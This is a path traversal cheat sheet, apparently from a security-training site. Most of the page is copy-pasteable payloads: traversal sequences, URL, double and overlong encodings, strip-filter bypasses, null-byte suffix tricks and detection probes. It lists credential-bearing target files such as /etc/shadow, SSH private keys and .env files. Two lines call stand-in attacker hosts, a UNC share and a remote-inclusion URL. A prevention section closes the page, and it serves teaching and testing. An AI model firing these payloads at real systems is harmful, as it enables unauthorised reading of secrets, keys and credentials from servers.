Path Traversal: The Complete Practical Guide
Path Traversal Cheat Sheet
A dense, copy-pasteable path traversal reference: sequences, encodings, filter bypasses, absolute and UNC paths, suffix tricks, target files, and prevention.
Published
Every path traversal payload in one place. The core move never changes: bend a filename parameter out of its intended directory and read a file you should not. For the how and why behind each section, start at the path traversal guide. Lock it in on a free live target.
Basic sequences
../ Unix, one level up
..\ Windows, one level up
../../../../../../etc/passwd over-climb to guarantee root (Linux)
..\..\..\..\..\..\windows\win.ini Windows equivalentOver-climbing is free: extra
../stop at the filesystem root. See reading arbitrary files.
URL / double / overlong-UTF-8 encodings
%2e%2e%2f encoded ../
..%2f encode only the slash
%2e%2e%5c encoded ..\ (Windows)
%252e%252e%252f double-encoded ../ (survives a decode-once proxy/WAF)
..%252f..%252fetc/passwd %252f -> %2f -> / on the app's second decode
..%c0%af overlong UTF-8 "/" (LEGACY: old IIS / non-strict decoders)
%c0%ae%c0%ae/ overlong UTF-8 ".." (LEGACY)
..%c1%9c overlong UTF-8 "\" (Win) (LEGACY)
%uff0e%uff0e%u2215 unicode slash homoglyph (LEGACY IIS)Try single encoding first, then double. The overlong/fullwidth forms are legacy, modern servers reject them.
Nested / stripped-sequence bypass (app removes ../ once, non-recursively)
....// -> becomes ../ after one strip ( // collapses to / )
..././ dot-dot-slash interleaved
....\/ mixed separators (Windows)
....//....//....//etc/passwdSee bypassing filters.
Absolute and UNC paths (base directory is ignored)
/etc/passwd
/etc/shadow
C:\windows\win.ini
C:/windows/system32/drivers/etc/hosts forward slashes work on Windows
\\attacker-host\share\file UNC (Windows)
file:///etc/passwd scheme-prefixed (some loaders)If the loader lets an absolute path override the base, skip the
../entirely. See traversal sequences and absolute paths.
Null byte + forced extension (LEGACY runtimes only)
../../../../etc/passwd%00 app appends .html -> cut off (PHP < 5.3.4)
../../../../etc/passwd%00.html
http://attacker/shell.txt%3f ?/# strand the appended suffix on URL/remote loaders ONLY (that is RFI, not a filesystem read)Null byte is dead on modern runtimes (fixed PHP 5.3.4).
?/#stranding needs a URL-style loader. See extension and suffix tricks.
Required-base-folder bypass (app demands a known prefix)
expected/../../../../etc/passwd
/var/www/images/../../../../etc/passwdCommon target files
Linux:
/etc/passwd user list, the read-confirm
/etc/shadow password hashes (root-only, usually unreadable)
/proc/self/environ env vars and secrets
/proc/self/cmdline process arguments
~/.ssh/id_rsa private SSH key
.env config.php settings.py app secrets, DB creds, API keys
Windows:
C:\windows\win.ini the read-confirm
C:\inetpub\wwwroot\web.config app config, connection strings
C:\windows\system32\drivers\etc\hosts low-priv readable
C:\boot.ini legacy read-confirmDetection probes
../index.html climb one level to a known-nearby file (confirms the dir moves)
../../../../etc/passwd raw read-confirm
/etc/passwd absolute path (base dir ignored?)
../../nonexistent error message may leak the base path + appended extensionPrevention
- Map an id or key to a fixed path server-side. Never concatenate user input into a path.
- If you must take a path, canonicalize (
realpath/Path.GetFullPath) and verify it is still inside the base directory before opening. - Allow-list the filename and extension. Reject separators,
.., and encoded variants. - Decode once, completely, before validating, so double-encoding cannot reconstruct
../. - Never strip-and-trust. Validate the final resolved path.
- Least privilege + chroot/container, so a successful read reaches nothing valuable.
Full detail in preventing path traversal.